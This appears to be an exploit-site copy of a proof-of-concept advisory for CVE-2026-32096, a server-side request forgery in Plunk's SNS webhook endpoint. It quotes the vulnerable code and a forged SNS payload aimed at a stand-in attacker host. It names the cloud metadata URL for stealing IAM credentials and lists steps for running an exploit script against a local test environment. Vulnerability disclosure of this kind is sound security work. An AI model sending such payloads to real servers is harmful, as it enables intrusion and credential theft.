Share
## https://sploitus.com/exploit?id=1FB7AA93-9941-5865-AABC-8800FFF8F476
# CVE-2026-32096
**SSRF via unvalidated AWS SNS SubscriptionConfirmation in [useplunk/plunk](https://github.com/useplunk/plunk)**
## Summary
The Plunk API endpoint `POST /webhooks/sns` fetches an attacker-supplied `SubscribeURL` without verifying the AWS SNS cryptographic signature. An unauthenticated attacker can force the server to make arbitrary outbound HTTP requests (SSRF).
| | |
|---|---|
| **Severity** | Critical โ CVSS 9.3 (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N`) |
| **CWE** | [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html) |
| **Affected file** | `apps/api/src/controllers/Webhooks.ts` |
| **Auth required** | None |
## Vulnerable Code
```typescript
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF โ no signature validation
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
```
The minimum payload is just two fields:
```json
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
```
## Impact
- **AWS EC2/ECS**: Steal IAM credentials via `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- **Internal services**: Reach databases, Redis, Kubernetes API, or other non-internet-exposed services
- **Port scanning**: Enumerate internal ports via timing and error-based responses
## Reproduction
### Prerequisites
- Docker & Docker Compose
- Python 3
### Steps
1. **Start the Plunk test environment:**
```bash
docker compose up -d
```
2. **Start the SSRF callback listener:**
```bash
python3 listener.py
```
3. **Run the exploit:**
```bash
chmod +x exploit.sh
./exploit.sh
```
4. **Observe** the callback hit in `listener.py` output, confirming the server fetched the attacker-controlled URL.
## Files
| File | Description |
|---|---|
| `exploit.sh` | End-to-end exploit script โ sends forged SNS payload to the vulnerable endpoint |
| `listener.py` | SSRF callback listener โ captures and logs incoming requests from the Plunk server |
| `docker-compose.yml` | Minimal Docker Compose environment (Postgres, Redis, Plunk) for local reproduction |
## References
- [AWS SNS: Verifying the signatures of Amazon SNS messages](https://docs.aws.amazon.com/sns/latest/dg/sns-verify-signature-of-message.html)
- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)